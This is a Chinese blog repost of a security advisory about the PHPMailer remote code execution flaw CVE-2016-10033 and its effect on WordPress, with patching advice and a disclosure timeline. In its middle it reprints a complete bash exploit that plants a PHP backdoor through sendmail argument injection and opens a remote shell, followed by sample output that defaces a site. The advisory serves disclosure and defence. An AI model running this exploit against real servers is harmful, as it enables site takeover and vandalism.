PHPMailer存在重大漏洞 数百万网站容易被远程利用

幸运草
幸运草
幸运草
878
文章
3
评论
2020年5月21日22:35:38 评论 36

近日,波兰研究人员 Dawid Golunski 发现了一个存在于PHPMailer中的严重远程代码执行漏洞。该漏洞在昨天的legalhackers.com上公布,但漏洞利用细节的概念验证并未包括在内。

不幸的是在几个小时前,有人向exploit-db和github发布了一个概念验证,演示了如何在PHPMailer库中利用此漏洞,但是出于安全考虑并不针对任何一个正在投入使用中的Web应用程序。

我们正在着手准备发布这个原本在计划之外的更新,以便向PHP开发人员和我们的社区提前警告这个问题。因为我们估计随着更多开发人员和心怀不轨的人查看到上面的概念验证代码后会导致这个事件持续酝酿。PHPMailer是WordPress中用来发送电子邮件的核心部分。 你可以在wp-includes / class-smtp.php核心文件中找到代码。

不要惊慌

注意:无论对于WordPress的核心还是任何WordPress主题或插件, 目前尚没有公开可行的漏洞利用代码。我们看到的唯一漏洞利用是研究人员针对他们自己的应用程序进行了验证,以此表明PHPMailer中存在此漏洞。 (详情如下)
请不要联系WordPress核心团队、WordPress论坛版主或其他任何人,告诉他们“你的WordPress网站将被利用”,这将引起不必要的恐慌。这项研究目前仍在进行中,我们让您提前意识到这个问题主要有两个原因:

1. 从用户的角度来讲,一旦解决方案发布,就可以准备升级WordPress核心和任何其他受影响的主题和插件。

2. 从开发者的角度来讲,如果他采用了这个版本的包含漏洞的PHPMailer,就可以开始着手修补代码,以便尽快发布给用户。

漏洞细节

如果你不熟悉RCE漏洞,那么这将是最糟糕的情况。在WordPress的历史上所有严重的漏洞都是远程代码执行漏洞,它们允许攻击者在受害者网站上执行自己的代码从而控制整个网站。
我们对PHPMailer中受影响的代码进行了简要分析。 为了利用此漏洞,攻击者似乎需要能够控制发件人的电子邮件地址。
PHPMailer中的弱点代码和修复代码的片段如下所示:

PHPMailer存在重大漏洞 数百万网站容易被远程利用

在这个包含漏洞的PHPMailer(PHPMailer

PHPMailer的Docker复现环境(附POC): https://github.com/opsxcq/exploit-CVE-2016-10033
Exploit
#!/bin/bash
# CVE-2016-10033 exploit by opsxcq
# https://github.com/opsxcq/exploit-CVE-2016-10033

echo ‘[+] CVE-2016-10033 exploit by opsxcq’

if [ -z “$1” ]
then
echo ‘[-] Please inform an host as parameter’
exit -1
fi

host=$1

echo ‘[+] Exploiting ‘$host

curl -sq ‘http://’$host -H ‘Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryzXJpHSq4mNy35tHe’ –data-binary $’——WebKitFormBoundaryzXJpHSq4mNy35tHernContent-Disposition: form-data; name=”action”rnrnsubmitrn——WebKitFormBoundaryzXJpHSq4mNy35tHernContent-Disposition: form-data; name=”name”rnrnrn——WebKitFormBoundaryzXJpHSq4mNy35tHernContent-Disposition: form-data; name=”email”rnrnvulnerables@ -OQueueDirectory=/tmp -X/www/backdoor.phprn——WebKitFormBoundaryzXJpHSq4mNy35tHernContent-Disposition: form-data; name=”message”rnrnPwnedrn——WebKitFormBoundaryzXJpHSq4mNy35tHe–rn’ >/dev/null && echo ‘[+] Target exploited, acessing shell at http://’$host’/backdoor.php’

cmd=’whoami’
while [ “$cmd” != ‘exit’ ]
do
echo ‘[+] Running ‘$cmd
curl -sq http://$host/backdoor.php?cmd=$(echo -ne $cmd | base64) | grep ‘|’ | head -n 1 | cut -d ‘|’ -f 2 | base64 -d
echo
read -p ‘RemoteShell> ‘ cmd
done
echo ‘[+] Exiting’
To exploit this target just run:

./exploit host:port
If you are using this vulnerable image, you can just run:

./exploit localhost:8080
After the exploitation, a file called backdoor.php will be stored on the root folder of the web directory. And the exploit will drop you a shell where you can send commands to the backdoor:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Running whoami
www-data
RemoteShell> echo ‘Defaced’ > /www/index.php
[+] Running echo ‘Defaced’ > /www/index.php
PHPMailer验证截图

PHPMailer存在重大漏洞 数百万网站容易被远程利用

如何应对

我们会向订阅者和客户发邮件预警。WordPress核心团队目前正在开发一个将包含在WordPress核心安全发布版本中的修复程序。尚没有确切的发布时间,但会尽量在24小时之内。一旦发布,请尽快将WordPress核心进行升级。

如果在你自己的PHP应用、主题、插件中还在使用早于5.2.18版本的PHPMailer,请立即升级到PHPMailer 5.2.18或更高版本。

如果你是WordPress主题或插件开发人员,并且在你的插件或主题代码中包含了早期版本的PHPMailer拷贝,则需要立即更新到PHPMailer 5.2.18或更新版本并向客户发布修订。
漏洞历程时间线

1. 前不久在WordPress核心中发布了一个问题讨论,其中包括了一个修补程序来解决这个问题。它可以将使用PHPMailer 5.2.14的WP核心更新到5.2.19。但这只是一个建议的补丁,并不是官方的最终修复。

2. 你可以在github上找到解决PHPMailer中这个问题的代码变动,它们十分清楚地描述了问题在于被发送到shell命令中的发送方电子邮件地址未转义。

3. 概念漏洞的基本证明也已发布到exploit-db,其链接到在github上的此漏洞利用的更详细的演示。研究人员已经建立了一个包含此漏洞的Web应用程序,然后为自己的应用程序创建了一段利用代码。这显然不是一个真实世界的PoC,但它展示了PHPMailer的弱点,并为真实世界的PoC铺平了道路。

4. 发现这个漏洞的研究员的报告中显示:
“研究人员还为流行的开源应用程序(部署在在互联网上的一百多万台服务器上)开发了一个未经认证的RCE漏洞作为现实世界开发的PoC。它可能在供应商修复漏洞后再发布。

5. 这个问题昨天发布到Hackaday和今天早些时候的The Hacker News。

6. 它正在Twitter上广泛讨论。[需要科学上网]

7. 它正在WP Slack #forums和#core上被讨论。 [需要登录]

8. Hacker News上也在讨论。

9. 它被发布到Reddit / r / netsec上,那里也在讨论。

10. 我们期望它将在人们进入工作日之后成为主流媒体的焦点。

特别声明:以上文章内容仅代表作者本人观点,不代表变化吧观点或立场。如有关于作品内容、版权或其它问题请于作品发表后的30日内与变化吧联系。

幸运草
内外部网站抓取收录算法 网站

内外部网站抓取收录算法

如何让新上线的网站当天被百度收录最近百度对于新站的收录尤为严格,尤其是Info域名或者国外的虚拟主机,我猜想,百度也是害怕了站群对它所带来的影响,需要对每一个涉嫌站群的域名或者是服务器进行严格的审查,...
无流量,无转化?网站收录问题你彻底解决了吗? 网站

无流量,无转化?网站收录问题你彻底解决了吗?

网站收录量一直在减少 怎么办?如果站点没有被收录会怎样? 大多数公司网站至少有几个网页被收录,但是有些站点根本没有网页被收录。我们将告诉你如何检查站点,并且告诉你,如果出现一个网页都没有收录的极端情况...
网站收录量一直在减少 怎么办? 网站

网站收录量一直在减少 怎么办?

网站收录量预示着这个网站能够得到搜索引擎多大程度的青睐,也预示着站内文章质量度的高低,与此同时也反应了该网站的权重高低。 提高网站收录量的关键在于文章的质量,搜索引擎对于高质量的原创文章肯定是非常青睐...
如何让新上线的网站当天被百度收录 网站

如何让新上线的网站当天被百度收录

超详细的电脑技巧集合玩电脑必会的小技巧(超详细) ①关闭无需自启动的程序 有些人说:我的电脑怎么老是这么卡?首要检查的就是你的自启动项,为什么?因为你的电脑一打开就会帮你自动运行很多的程序而你还不知道...